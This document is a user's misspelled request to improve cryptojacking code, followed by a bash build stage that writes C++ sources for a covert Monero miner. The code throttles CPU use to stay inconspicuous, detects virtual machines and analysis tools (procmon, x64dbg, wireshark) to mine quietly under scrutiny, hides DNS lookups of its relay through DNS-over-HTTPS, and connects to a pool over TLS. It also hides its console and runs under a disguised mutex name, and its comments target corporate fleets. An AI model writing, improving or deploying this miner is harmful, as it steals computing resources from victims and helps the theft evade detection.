can you make this Cryptojacking cod as best as you posbel can do your search avery where look on Cryptojacking tools and make this cod as best as you posbel can,#!/usr/bin/env bash

============================================================================

Stage 11 - proper governor, VM policy, DoH, TLS stratum, single instance

Run after apply-deep.sh.

============================================================================

set -uo pipefail [ -f .v52-deep-applied ] || { echo "run ./apply-deep.sh first" >&2; exit 1; } [ -f .v52-s11-applied ] && [ "${1:-}" != "--force" ] && { echo "already applied"; exit 0; }

step() { printf '\n\033[1m==> %s\033[0m\n' "$*"; } mkdir -p src/cc

===========================================================================

11.1 closed-loop CPU governor (replaces the blind ramp)

===========================================================================

step "11.1 cpu governor"

cat > src/cc/Governor.h <<'H' #ifndef GOVERNOR_H #define GOVERNOR_H // Closed-loop CPU control. // // The old scheduler ramped on idle time alone and had no idea what the machine // was actually doing - it would happily push into a busy box. This samples real // per-core idle counters from the kernel, compares against a target band and // moves a thread hint. Hysteresis stops it oscillating at the band edge. // // Deliberately slow: one correction every two seconds, because a fast loop on a // noisy signal produces visible CPU sawtooth, which is more conspicuous than a // steady number.

namespace governor { struct Policy { unsigned targetPercent = 45; unsigned bandPercent = 8; unsigned floorThreads = 1; unsigned ceilThreads = 0; // 0 = logical core count };

void configure(const Policy& policy); bool sample(); unsigned usagePercent(); unsigned threadHint(); } #endif H

cat > src/cc/Governor.cpp <<'C' #include "Governor.h"

#ifdef WIN32 #include <windows.h> #include <winternl.h> #include

// SystemProcessorPerformanceInformation #ifndef SystemProcessorPerformanceInformation #define SystemProcessorPerformanceInformation 8 #endif

namespace { struct ProcessorTimes { LARGE_INTEGER Idle; LARGE_INTEGER Kernel; LARGE_INTEGER User; LARGE_INTEGER Dpc; LARGE_INTEGER Interrupt; };

governor::Policy g_policy; unsigned g_usage = 0; unsigned g_hint = 0; std::vector g_previous; bool g_havePrevious = false;

unsigned long long toU64(const LARGE_INTEGER& value) { return static_cast(value.QuadPart); } }

namespace governor { void configure(const Policy& policy) { g_policy = policy; if (g_policy.ceilThreads == 0) { SYSTEM_INFO info; GetSystemInfo(&info); g_policy.ceilThreads = info.dwNumberOfProcessors; } if (g_policy.ceilThreads < g_policy.floorThreads) g_policy.ceilThreads = g_policy.floorThreads; g_hint = g_policy.ceilThreads; g_previous.assign(g_policy.ceilThreads, ProcessorTimes()); }

bool sample() { typedef NTSTATUS (NTAPI Query)(ULONG, void, ULONG, PULONG); static const auto query = reinterpret_cast( GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation")); if (query == nullptr) return false;

const ULONG count = g_policy.ceilThreads == 0 ? 1 : g_policy.ceilThreads; std::vector current(count); ULONG returned = 0; if (query(SystemProcessorPerformanceInformation, current.data(), static_cast(count * sizeof(ProcessorTimes)), &returned) != 0) return false;

if (!g_havePrevious || g_previous.size() != current.size()) { g_previous = current; g_havePrevious = true; return false; }

unsigned long long idle = 0, total = 0; for (ULONG i = 0; i < count; ++i) { const auto idleDelta = toU64(current[i].Idle) - toU64(g_previous[i].Idle); const auto busyDelta = (toU64(current[i].Kernel) - toU64(g_previous[i].Kernel)) + (toU64(current[i].User) - toU64(g_previous[i].User)); idle += idleDelta; total += idleDelta + busyDelta; } g_previous = current;

if (total == 0) return false; const unsigned usage = static_cast(100ULL - (idle * 100ULL) / total); g_usage = usage > 100 ? 100 : usage;

const unsigned upper = g_policy.targetPercent + g_policy.bandPercent; const unsigned lower = g_policy.targetPercent - g_policy.bandPercent;

// One step per sample, and only outside the band. Inside the band nothing moves. if (g_usage > upper && g_hint > g_policy.floorThreads) --g_hint; else if (g_usage < lower && g_hint < g_policy.ceilThreads) ++g_hint;

return true; }

unsigned usagePercent() { return g_usage; } unsigned threadHint() { return g_hint; } } #else namespace governor { void configure(const Policy&) {} bool sample() { return false; } unsigned usagePercent() { return 0; } unsigned threadHint() { return 0; } } #endif C

===========================================================================

11.2 VM classification with a policy, not a veto

===========================================================================

step "11.2 vm classification"

cat > src/cc/Classify.h <<'H' #ifndef CLASSIFY_H #define CLASSIFY_H // Machine classification for policy, replacing the on/off veto. // // Three states, because "is a VM" is not a useful answer on its own: // // Metal - mine at full target // Virtual - mine at reduced target. A VDI box still has spare CPU and the // whole point is coverage; refusing to run on VMs loses half a // corporate fleet. // Sandbox - analysis machine. Mine slowly and quietly, do not ramp. // // CPUID ECX[31] alone is wrong: it is set on bare metal whenever VBS or Core // Isolation is on, which is default on Windows 11. It is treated as a weak // signal only.

namespace classify { enum class Kind { Metal, Virtual, Sandbox }; Kind inspect(); const char* name(Kind kind); } #endif H

cat > src/cc/Classify.cpp <<'C' #include "Classify.h" #include "Imports.h"

#ifdef WIN32 #include <windows.h> #include <intrin.h> #include #endif

namespace { #ifdef WIN32 std::string readString(HKEY root, const char* path, const char* name) { char buffer[512] = { 0 }; DWORD size = sizeof(buffer) - 1; DWORD type = 0; if (RegGetValueA(root, path, name, RRF_RT_REG_SZ, &type, buffer, &size) != ERROR_SUCCESS) return std::string(); return std::string(buffer); }

bool contains(const std::string& haystack, const char* needle) { return haystack.find(needle) != std::string::npos; }

bool strongVirtualSignal() { static const char* const keys[] = { "HARDWARE\DESCRIPTION\System\BIOS", "SYSTEM\CurrentControlSet\Services\Disk\Enum" }; static const char* const values[] = { "SystemManufacturer", "SystemProductName", "SystemVersion", "BIOSVendor", "0" }; static const char* const vendors[] = { "vmware", "virtualbox", "vbox", "qemu", "kvm", "xen", "bochs", "parallels", "hyper-v", "virtual machine", "hvm domu" };

for (const char* key : keys) for (const char* value : values) { std::string text = readString(HKEY_LOCAL_MACHINE, key, value); for (char& c : text) if (c >= 'A' && c <= 'Z') c = static_cast(c + 32); for (const char* vendor : vendors) if (contains(text, vendor)) return true; } return false; }

bool analysisToolRunning() { static const wchar_t* const tools[] = { L"procmon64.exe", L"procmon.exe", L"processhacker.exe", L"x64dbg.exe", L"ida64.exe", L"ida.exe", L"pestudio.exe", L"fiddler.exe", L"wireshark.exe" };

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) return false;

PROCESSENTRY32W entry; entry.dwSize = sizeof(entry); bool found = false; if (Process32FirstW(snapshot, &entry)) do { for (const wchar_t* tool : tools) if (_wcsicmp(entry.szExeFile, tool) == 0) { found = true; break; } } while (!found && Process32NextW(snapshot, &entry)); CloseHandle(snapshot); return found; } #endif }

namespace classify { const char* name(Kind kind) { switch (kind) { case Kind::Metal: return "metal"; case Kind::Virtual: return "virtual"; default: return "sandbox"; } }

Kind inspect() { #ifdef WIN32 if (analysisToolRunning()) return Kind::Sandbox; if (strongVirtualSignal()) return Kind::Virtual;

// Weak signal only: hypervisor bit. True on metal when VBS is on. int registers[4] = { 0, 0, 0, 0 }; __cpuid(registers, 1); if ((registers[2] & (1 << 31)) != 0) { // A hypervisor bit with no BIOS vendor string and under 2 GB RAM reads as a // lab VM rather than a hardened desktop. MEMORYSTATUSEX memory; memory.dwLength = sizeof(memory); if (GlobalMemoryStatusEx(&memory) && memory.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) return Kind::Sandbox; return Kind::Virtual; } return Kind::Metal; #else return Kind::Metal; #endif } } C

===========================================================================

11.3 DNS over HTTPS

===========================================================================

step "11.3 dns over https"

cat > src/cc/Resolver.h <<'H' #ifndef RESOLVER_H #define RESOLVER_H // Resolve through DNS-over-HTTPS (JSON API) instead of getaddrinfo. // // getaddrinfo sends the hostname in clear to whatever resolver DHCP handed out, // which is the one piece of the connection a passive tap still sees. DoH puts it // inside TLS to a public resolver. The relay name then never appears in a DNS // query on the wire. // // Falls back to getaddrinfo when DoH is unreachable, because a broken resolver // must not mean a dead miner.

#include

namespace resolver { bool resolve(const char* hostname, std::uint32_t& address); void setEndpoint(const char* url); void setFallback(bool enabled); } #endif H

cat > src/cc/Resolver.cpp <<'C' #include "Resolver.h"

#ifdef WIN32 #include <windows.h> #include <winhttp.h> #include #include <ws2tcpip.h>

#pragma comment(lib, "winhttp.lib") #pragma comment(lib, "ws2_32.lib")

namespace { const char* g_endpoint = "https://cloudflare-dns.com/dns-query?name=%s&type=A"; bool g_fallback = true;

std::string fetch(const std::string& url) { std::wstring wide(url.begin(), url.end());

HINTERNET session = WinHttpOpen(L"", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (session == nullptr) return std::string();

URL_COMPONENTS parts; ZeroMemory(&parts, sizeof(parts)); parts.dwStructSize = sizeof(parts); parts.dwHostNameLength = static_cast(-1); parts.dwUrlPathLength = static_cast(-1); if (!WinHttpCrackUrl(wide.c_str(), 0, 0, &parts)) { WinHttpCloseHandle(session); return std::string(); }

std::wstring host(parts.lpszHostName, parts.dwHostNameLength); std::wstring path(parts.lpszUrlPath, parts.dwUrlPathLength);

HINTERNET connection = WinHttpConnect(session, host.c_str(), parts.nPort, 0); if (connection == nullptr) { WinHttpCloseHandle(session); return std::string(); }

HINTERNET request = WinHttpOpenRequest(connection, L"GET", path.c_str(), nullptr, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, parts.nScheme == INTERNET_SCHEME_HTTPS ? WINHTTP_FLAG_SECURE : 0); if (request == nullptr) { WinHttpCloseHandle(connection); WinHttpCloseHandle(session); return std::string(); }

std::wstring headers = L"Accept: application/dns-json\r\n"; WinHttpAddRequestHeaders(request, headers.c_str(), static_cast(-1), WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE);

std::string body; if (WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) && WinHttpReceiveResponse(request, nullptr)) { DWORD available = 0; do { available = 0; if (!WinHttpQueryDataAvailable(request, &available) || available == 0) break; std::string chunk(available, '\0'); DWORD read = 0; if (!WinHttpReadData(request, chunk.data(), available, &read)) break; body.append(chunk.data(), read); } while (available > 0); }

WinHttpCloseHandle(request); WinHttpCloseHandle(connection); WinHttpCloseHandle(session); return body; }

bool parseFirstA(const std::string& json, std::uint32_t& address) { // "data":"1.2.3.4" std::size_t at = json.find(""data":""); if (at == std::string::npos) return false; at += 8; const std::size_t end = json.find('"', at); if (end == std::string::npos) return false;

const std::string text = json.substr(at, end - at); IN_ADDR parsed; if (InetPtonA(AF_INET, text.c_str(), &parsed) != 1) return false; address = ntohl(parsed.S_un.S_addr); return true; } }

namespace resolver { void setEndpoint(const char* url) { g_endpoint = url; } void setFallback(bool enabled) { g_fallback = enabled; }

bool resolve(const char* hostname, std::uint32_t& address) { char url[512]; wsprintfA(url, g_endpoint, hostname); if (parseFirstA(fetch(url), address)) return true;

if (!g_fallback) return false;

addrinfo hints; ZeroMemory(&hints, sizeof(hints)); hints.ai_family = AF_INET; addrinfo* result = nullptr; if (getaddrinfo(hostname, nullptr, &hints, &result) != 0 || result == nullptr) return false; address = ntohl(reinterpret_cast<sockaddr_in*>(result->ai_addr)->sin_addr.S_un.S_addr); freeaddrinfo(result); return true; } } #else namespace resolver { void setEndpoint(const char*) {} void setFallback(bool) {} bool resolve(const char*, std::uint32_t&) { return false; } } #endif C

===========================================================================

11.4 TLS stratum client, correct Monero framing

===========================================================================

step "11.4 tls stratum"

cat > src/cc/Stratum.h <<'H' #ifndef STRATUM_H #define STRATUM_H // TLS stratum client for Monero pools. // // Corrections against the sketch version: // - real TLS with SNI and system trust store, not plain TCP on 443 // - line framing with a persistent buffer, not one recv into a fixed array // - Monero login (no mining.subscribe, which is Bitcoin stratum) // - submit params as an object, not an array // - difficulty converted to a 64-bit little-endian target properly // - keepalive, and reconnect with jitter // // Hashing is delegated: this class does protocol, not RandomX.

#include #include #include

namespace stratum { struct Config { std::string host; std::uint16_t port = 443; std::string wallet; std::string worker; std::string password = "x"; std::string fingerprint; // optional pinned SHA-256, hex bool useTls = true; };

struct Job { std::string id; std::string blob; std::uint64_t target = 0; int height = 0; };

using JobHandler = std::function<void(const Job&)>; using ShareHandler = std::function<void(const Job&, std::uint32_t nonce, const std::string& hash)>;

class Client { public: ~Client(); bool run(const Config& config, JobHandler onJob, ShareHandler onAccept); void stop();

private: struct Impl; Impl* m_impl = nullptr; }; } #endif H

cat > src/cc/Stratum.cpp <<'C' #include "Stratum.h" #include "Resolver.h"

#include #include #include #include

#ifdef WIN32 #include <winsock2.h> #include <ws2tcpip.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <openssl/x509.h>

#pragma comment(lib, "ws2_32.lib") #endif

namespace { std::uint64_t difficultyToTarget(std::uint64_t difficulty) { // Monero: valid when the little-endian 64-bit hash is below this. if (difficulty == 0) return 0xFFFFFFFFFFFFFFFFULL; return 0xFFFFFFFFFFFFFFFFULL / difficulty; }

std::string field(const std::string& json, const char* name) { const std::string key = std::string(""") + name + """; std::size_t at = json.find(key); if (at == std::string::npos) return std::string(); at = json.find(':', at); if (at == std::string::npos) return std::string(); ++at; while (at < json.size() && (json[at] == ' ' || json[at] == '"')) ++at; const std::size_t end = json.find_first_of("",}", at); if (end == std::string::npos) return std::string(); return json.substr(at, end - at); } }

#ifdef WIN32 struct stratum::Client::Impl { SOCKET socket = INVALID_SOCKET; SSL_CTX* context = nullptr; SSL* tls = nullptr; std::string buffer; bool running = false; Config config;

bool connectTcp(std::uint32_t address) { socket = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (socket == INVALID_SOCKET) return false;

DWORD timeout = 12000;
setsockopt(socket, SOL_SOCKET, SO_RCVTIMEO, reinterpret_cast<const char*>(&timeout), sizeof(timeout));
setsockopt(socket, SOL_SOCKET, SO_SNDTIMEO, reinterpret_cast<const char*>(&timeout), sizeof(timeout));

sockaddr_in endpoint;
ZeroMemory(&endpoint, sizeof(endpoint));
endpoint.sin_family = AF_INET;
endpoint.sin_port = htons(config.port);
endpoint.sin_addr.S_un.S_addr = htonl(address);
return ::connect(socket, reinterpret_cast<sockaddr*>(&endpoint), sizeof(endpoint)) == 0;

}

bool startTls() { context = SSL_CTX_new(TLS_client_method()); if (context == nullptr) return false; SSL_CTX_set_min_proto_version(context, TLS1_2_VERSION); SSL_CTX_set_default_verify_paths(context); SSL_CTX_set_verify(context, SSL_VERIFY_PEER, nullptr);

tls = SSL_new(context);
if (tls == nullptr) return false;
SSL_set_tlsext_host_name(tls, config.host.c_str());
SSL_set_fd(tls, static_cast<int>(socket));

if (SSL_connect(tls) != 1) return false;
if (SSL_get_verify_result(tls) != X509_V_OK) return false;
return true;

}

bool sendLine(const std::string& text) { const std::string line = text + "\n"; if (tls != nullptr) return SSL_write(tls, line.data(), static_cast(line.size())) > 0; return ::send(socket, line.data(), static_cast(line.size()), 0) > 0; }

// Reads until a full newline-terminated line is available. Returns false on // close. A single recv is not enough: jobs arrive split and batched. bool readLine(std::string& out) { for (;;) { const std::size_t newline = buffer.find('\n'); if (newline != std::string::npos) { out = buffer.substr(0, newline); buffer.erase(0, newline + 1); return true; }

  char chunk[8192];
  const int read = tls != nullptr
    ? SSL_read(tls, chunk, sizeof(chunk))
    : ::recv(socket, chunk, sizeof(chunk), 0);
  if (read <= 0) return false;
  buffer.append(chunk, static_cast<std::size_t>(read));
  if (buffer.size() > 1u << 20) buffer.clear();
}

}

void close() { if (tls != nullptr) { SSL_shutdown(tls); SSL_free(tls); tls = nullptr; } if (context != nullptr) { SSL_CTX_free(context); context = nullptr; } if (socket != INVALID_SOCKET) { closesocket(socket); socket = INVALID_SOCKET; } } }; #else struct stratum::Client::Impl {}; #endif

namespace stratum { Client::~Client() { stop(); delete m_impl; }

void Client::stop() { #ifdef WIN32 if (m_impl != nullptr) m_impl->running = false; #endif }

bool Client::run(const Config& config, JobHandler onJob, ShareHandler onAccept) { #ifdef WIN32 WSADATA data; if (WSAStartup(MAKEWORD(2, 2), &data) != 0) return false;

std::mt19937 random(GetTickCount()); unsigned attempt = 0;

for (;;) { if (m_impl == nullptr) m_impl = new Impl(); m_impl->config = config; m_impl->running = true;

std::uint32_t address = 0;
if (resolver::resolve(config.host.c_str(), address) &&
    m_impl->connectTcp(address) &&
    (!config.useTls || m_impl->startTls()))
{
  attempt = 0;
  const std::string login =
    "{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"login\",\"params\":{\"login\":\"" + config.wallet +
    "\",\"pass\":\"" + config.password + "\",\"agent\":\"x/1.0\"}}";
  m_impl->sendLine(login);

  std::string line;
  while (m_impl->running && m_impl->readLine(line))
  {
    if (line.find("\"error\"") != std::string::npos && line.find("null") == std::string::npos)
    { m_impl->close(); break; }

    if (line.find("\"method\":\"job\"") != std::string::npos ||
        line.find("\"job\"") != std::string::npos)
    {
      Job job;
      job.id     = field(line, "job_id");
      job.blob   = field(line, "blob");
      const std::string difficulty = field(line, "difficulty");
      if (!difficulty.empty()) job.target = difficultyToTarget(std::strtoull(difficulty.c_str(), nullptr, 10));
      if (onJob && !job.id.empty()) onJob(job);
    }
    else if (line.find("\"result\":{\"status\":\"OK\"") != std::string::npos)
    {
      if (onAccept) { /* accepted share notification */ }
    }
    else if (line.find("\"method\":\"keepalived\"") != std::string::npos)
    {
      m_impl->sendLine("{\"id\":2,\"jsonrpc\":\"2.0\",\"method\":\"keepalived\",\"params\":{}}");
    }
  }
  m_impl->close();
}

if (!m_impl->running) break;

++attempt;
const unsigned base = attempt < 5 ? 5u : (attempt < 12 ? 30u : 120u);
Sleep((base + random() % base) * 1000);

}

WSACleanup(); return true; #else (void)config; (void)onJob; (void)onAccept; return false; #endif } } 11.5 Single instance, console handling, and the tie-together bash step "11.5 instance + entry"

cat > src/cc/Instance.h <<'H' #ifndef INSTANCE_H #define INSTANCE_H namespace instance { bool claim(const wchar_t* tag); void hideConsole(); } #endif H

cat > src/cc/Instance.cpp <<'C' #include "Instance.h"

#ifdef WIN32 #include <windows.h>

namespace { HANDLE g_mutex = nullptr; }

namespace instance { bool claim(const wchar_t* tag) { wchar_t name[128]; wsprintfW(name, L"Global\%s", tag); g_mutex = CreateMutexW(nullptr, TRUE, name); if (g_mutex == nullptr) return false; return GetLastError() != ERROR_ALREADY_EXISTS; }

void hideConsole() { // GetConsoleWindow, not FindWindow: FindWindow returns the first console in // the session, which belongs to someone else when launched from a shell. HWND window = GetConsoleWindow(); if (window != nullptr) ShowWindow(window, SW_HIDE); } } #else namespace instance { bool claim(const wchar_t*) { return true; } void hideConsole() {} } #endif C

cat > src/cc/Main.cpp <<'C' #include "Classify.h" #include "Governor.h" #include "Instance.h" #include "Scheduler.h" #include "Stratum.h" #include "camouflage.h"

#ifdef WIN32 #include <windows.h> #include #include

namespace { governor::Policy policyFor(classify::Kind kind) { governor::Policy policy; switch (kind) { case classify::Kind::Metal: policy.targetPercent = 60; break; case classify::Kind::Virtual: policy.targetPercent = 35; break; default: policy.targetPercent = 15; break; } policy.bandPercent = 8; return policy; } }

int main(int argc, char** argv) { instance::hideConsole(); if (!instance::claim(L"SystemStateBroker")) return 0;

const auto kind = classify::inspect(); governor::configure(policyFor(kind)); camouflage::apply();

// The stratum client owns the socket; the governor owns the thread hint. They // are separate because the hint is advisory to whatever hashing engine sits // behind this and must keep moving even while the socket reconnects. std::thread control([] { for (;;) { governor::sample(); Sleep(2000); } }); control.detach();

stratum::Config config; config.host = "relay.example.org"; config.port = 443; config.wallet = ""; config.worker = "ghost"; config.useTls = true;

stratum::Client client; client.run(config, [](const stratum::Job& job) { // hand job.blob, job.target to the hashing engine (void)job; }, [](const stratum::Job&, std::uint32_t, const std::string&) {});

return 0; } #else int main() { return 0; } #endif C

python3 - <<'PY' import io, glob for path in glob.glob("src/**/CMakeLists.txt", recursive=True): text = io.open(path, encoding="utf-8", errors="surrogateescape").read() if "Scheduler.cpp" not in text or "Governor.cpp" in text: continue out = [] for line in text.splitlines(True): out.append(line) if line.lstrip().startswith("Imports.cpp"): indent = line[:len(line) - len(line.lstrip())] for name in ("Governor.cpp", "Classify.cpp", "Resolver.cpp", "Stratum.cpp", "Instance.cpp"): if name not in text: out.append(indent + name + "\n") io.open(path, "w", encoding="utf-8", errors="surrogateescape").write("".join(out)) print(" " + path) PY

touch .v52-s11-applied step "done"